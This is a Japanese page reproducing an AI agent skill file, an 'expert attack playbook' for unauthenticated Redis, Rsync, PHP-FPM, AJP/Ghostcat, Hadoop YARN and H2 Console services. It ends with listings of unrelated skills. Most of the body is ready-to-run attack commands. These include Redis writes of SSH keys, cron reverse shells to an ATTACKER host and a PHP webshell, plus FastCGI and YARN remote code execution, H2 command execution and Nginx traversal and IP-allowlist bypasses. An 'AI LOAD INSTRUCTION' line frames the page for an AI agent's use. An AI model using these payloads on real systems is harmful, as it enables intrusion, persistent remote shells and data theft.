unauthorized-access-common-services
認証なしで公開されている一般的なサービスへの不正アクセス手順をまとめたプレイブック。Redis、Rsync、PHP-FPM、AJP/Ghostcat、Hadoop YARN、H2 Consoleなど、認証保護のない管理インターフェースが露出している場合に使用する。
description の原文を見る
>- Unauthorized access playbook for common exposed services. Use when Redis, Rsync, PHP-FPM, AJP/Ghostcat, Hadoop YARN, H2 Console, or similar management interfaces are exposed without authentication.
SKILL.md 本文
SKILL: 一般的なサービスへの不正アクセス — エキスパート攻撃プレイブック
AI LOAD INSTRUCTION: 認証なしまたは弱い認証の管理サービスを悪用するエキスパートテクニック。Redis write-to-RCE、Rsync データ盗聴、PHP-FPM コード実行、Ghostcat AJP ファイル読取、Hadoop YARN ジョブ送信、H2 Console JNDI をカバーします。これらはウェブアプリケーション脆弱性とは異なるインフラレベルの知見です。
0. 関連ルーティング
ssrf-server-side-request-forgeryこれらのサービスが SSRF 経由でアクセス可能な場合(例:SSRF → Redis)jndi-injectionH2 Console またはそれに類するものが JNDI 接続文字列を受け入れる場合deserialization-insecureRMI Registry または T3 プロトコルが公開されている場合network-protocol-attacksサービス列挙中のレイヤー2/3 攻撃用reverse-shell-techniquesコマンド実行獲得後のシェルペイロード用
包括的なポート参照
以下の情報が必要な場合は PORT_SERVICE_MATRIX.md もロードしてください:
- ポート番号ごとに整理された20以上のサービスの完全な悪用マトリックス
- サービスごとの列挙、ブルートフォース、ポスト・エクスプロイテーション
- nmap/masscan 出力分析時の迅速なトリアージ
1. 検出 — ポートスキャニング
nmap -sV -p 6379,873,9000,8009,8088,8082,1099,9200,5984,2375,27017,11211 TARGET
# 主要ポート:
# 6379 — Redis
# 873 — Rsync
# 9000 — PHP-FPM (FastCGI)
# 8009 — AJP (Tomcat Ghostcat)
# 8088 — Hadoop YARN ResourceManager
# 8082 — H2 Console (または Spring Boot に組み込み)
# 1099 — Java RMI Registry
# 9200 — Elasticsearch
# 5984 — CouchDB
# 2375 — Docker API
# 27017 — MongoDB
# 11211 — Memcached
2. REDIS(ポート 6379)
検出
redis-cli -h TARGET ping
# 応答:PONG = 認証なしアクセス確認
redis-cli -h TARGET INFO server
# Redis バージョン、OS、設定を返す
SSH 認可鍵の書込
# キーペアを生成:
ssh-keygen -t rsa -f redis_rsa
# 公開鍵を Redis に書き込み、authorized_keys にダンプ:
redis-cli -h TARGET flushall
cat redis_rsa.pub | redis-cli -h TARGET -x set ssh_key
redis-cli -h TARGET config set dir /root/.ssh
redis-cli -h TARGET config set dbfilename authorized_keys
redis-cli -h TARGET save
# 接続:
ssh -i redis_rsa root@TARGET
Crontab の書込(リバースシェル)
redis-cli -h TARGET
> set x "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n"
> config set dir /var/spool/cron/
> config set dbfilename root
> save
ウェブシェルの書込
redis-cli -h TARGET
> set webshell "<?php system($_GET['cmd']); ?>"
> config set dir /var/www/html/
> config set dbfilename shell.php
> save
# アクセス:http://TARGET/shell.php?cmd=id
マスター・スレーブレプリケーション RCE
redis-rogue-server を使用して、マスター・スレーブレプリケーションを悪用し、悪意のある .so モジュールをロード:
python3 redis-rogue-server.py --rhost TARGET --lhost ATTACKER
# SLAVEOF → MODULE LOAD → system.exec 経由でモジュールをロード
セキュリティ対策
requirepass STRONG_PASSWORD
bind 127.0.0.1
protected-mode yes
rename-command CONFIG ""
rename-command FLUSHALL ""
3. RSYNC(ポート 873)
検出
rsync TARGET::
# 匿名アクセスが許可されている場合、利用可能なモジュール(共有)をリスト
rsync -av TARGET::MODULE_NAME /tmp/loot/
# モジュール全体をダウンロード
悪用 — Crontab の書込
# リバースシェル cron を作成:
echo '*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /tmp/evil_cron
# ターゲットの crontab にアップロード(書込可能なモジュールが /etc/ などにマップされている場合):
rsync -av /tmp/evil_cron TARGET::MODULE/cron.d/backdoor
セキュリティ対策
# /etc/rsyncd.conf:
auth users = rsync_user
secrets file = /etc/rsyncd.secrets
list = no
hosts allow = 10.0.0.0/8
read only = yes
4. PHP-FPM / FASTCGI(ポート 9000)
メカニズム
PHP-FPM は FastCGI リクエストをリッスンします。ネットワークに公開されている場合(Unix ソケットの代わりに)、攻撃者は細工された FastCGI パケットを送信して任意の PHP コードを実行できます。
悪用
# fcgi_exp またはそれに類するツールを使用:
python3 fpm.py TARGET 9000 /var/www/html/index.php -c "<?php system('id'); ?>"
# FastCGI リクエスト内の主要パラメータ:
# SCRIPT_FILENAME = 既存の .php ファイルへのパス
# PHP_VALUE = "auto_prepend_file = php://input" (POST 本文を PHP コードとして注入)
# PHP_ADMIN_VALUE = "allow_url_include = On"
悪用用の主要 FastCGI 環境変数
SCRIPT_FILENAME = /var/www/html/index.php # 既存の .php ファイルを指す必要あり
PHP_VALUE = auto_prepend_file = php://input # POST 本文を PHP コードとして注入
PHP_ADMIN_VALUE = allow_url_include = On # リモート含有を有効化
SSRF 経由(gopher)
gopher://TARGET:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00...
# エンコード済みの FastCGI パケット
# ツール:Gopherus が gopher:// URL を生成
python3 gopherus.py --exploit fastcgi
セキュリティ対策
; php-fpm.conf — ソケットのみにバインド:
listen = /var/run/php-fpm.sock
; TCP が必要な場合は制限:
listen.allowed_clients = 127.0.0.1
5. GHOSTCAT — AJP(ポート 8009)— CVE-2020-1938
メカニズム
Apache JServ Protocol(AJP)はリバースプロキシと Tomcat 間で使用されます。AJP は着信データをすべて信頼します — 攻撃者が直接接続すると、javax.servlet.include.request_uri を設定してウェブアプリディレクトリから任意のファイルを読取できます。
ファイル読取
# ajpShooter またはそれに類するツールを使用:
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read
# ウェブアプリルート内のファイルを読取:
# /WEB-INF/web.xml — デプロイメント記述子
# /WEB-INF/classes/*.class — コンパイル済みの Java クラス
# /WEB-INF/lib/*.jar — ライブラリ JAR
ファイル含有 → RCE
ファイルアップロードが存在する場合(例:画像として偽装された JSP アップロード)、AJP はそれを JSP として含有できます:
python3 ajpShooter.py TARGET 8009 /uploaded_avatar.txt eval
# ファイルが JSP コードを含む場合、実行されます
セキュリティ対策
<!-- server.xml — AJP を無効化または秘密を追加: -->
<Connector port="8009" protocol="AJP/1.3" secretRequired="true" secret="STRONG_SECRET"/>
<!-- または AJP コネクタを完全に削除 -->
6. HADOOP YARN RESOURCEMANAGER(ポート 8088)
検出
curl http://TARGET:8088/cluster
# アクセス可能な場合 → 認証なしの YARN ResourceManager UI
アプリケーション送信経由の RCE
# コマンドを実行する MapReduce アプリケーションを送信:
curl -s -X POST http://TARGET:8088/cluster/apps/new-application
# 応答:{"application-id":"application_xxx_0001"}
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps \
-H "Content-Type: application/json" \
-d '{
"application-id": "application_xxx_0001",
"application-name": "test",
"am-container-spec": {
"commands": {"command": "/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1"}
},
"application-type": "YARN"
}'
セキュリティ対策
Kerberos 認証を有効化し、管理ポートへのネットワークアクセスを制限します。
7. H2 データベースコンソール
検出
H2 コンソールは多くの場合、Spring Boot アプリで以下経由で有効化されます:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
アクセス:http://TARGET:PORT/h2-console
接続文字列経由の JNDI インジェクション
H2 コンソールログインフォーム内の JDBC URL フィールドは JNDI を受け入れます。
BeanFactory + EL バイパス(Java 8u252+ で機能):
# ログインフォーム内の JDBC URL:
javax.naming.InitialContext
# LDAP 応答属性:
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")
完全な JNDI/BeanFactory 悪用フローについては jndi-injection も参照してください。
RUNSCRIPT 経由の RCE
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "ok"; }';
CALL EXEC('id');
8. クイックリファレンス
# Redis — 認証をチェック:
redis-cli -h TARGET ping
# Redis — ウェブシェルを書込:
SET x "<?php system($_GET['c']);?>"
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SAVE
# Rsync — モジュールをリスト:
rsync TARGET::
# Ghostcat — web.xml を読取:
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read
# YARN — RCE ジョブを送信:
curl -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
# H2 — エイリアス経由の RCE:
CREATE ALIAS EXEC AS '...Runtime.exec...'; CALL EXEC('id');
9. リバースプロキシの設定ミス
Nginx オフ・バイ・スラッシュパストラバーサル
# 脆弱な設定:
location /static {
alias /var/www/static/;
}
# アクセス:/static../etc/passwd → /var/www/etc/passwd に解決
# location の末尾スラッシュがないため、パストラバーサルが発生
# 修正:location /static/ (末尾スラッシュを追加し alias に一致)
Nginx ルートロケーション欠落
# ルートロケーションが定義されず、alias が使用されている場合:
# 攻撃者は nginx.conf または他のサーバーファイルにアクセス可能
GET /..%2f..%2fetc/nginx/nginx.conf HTTP/1.1
X-Forwarded-For / X-Real-IP 信頼
# バックエンドがこれらのヘッダーを IP ベース認証に信頼する場合:
GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
# 管理パネルの IP ホワイトリストをバイパス可能
Caddy テンプレートインジェクション
# Caddy がテンプレートを有効化している場合:
# ユーザー入力が Caddy テンプレート描画に到達する場合:
{{.Req.Host}} → 情報開示
{{readFile "/etc/passwd"}} → Go テンプレート経由のローカルファイル読取
# これは本質的に proxy 設定経由の Go テンプレートインジェクション
有用なツール
yandex/gixy— Nginx 設定アナライザーRaelize/Kyubi— リバースプロキシ設定ミススキャナーGerbenJavado/bypass-url-parser— URL パーサー混同テスター
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。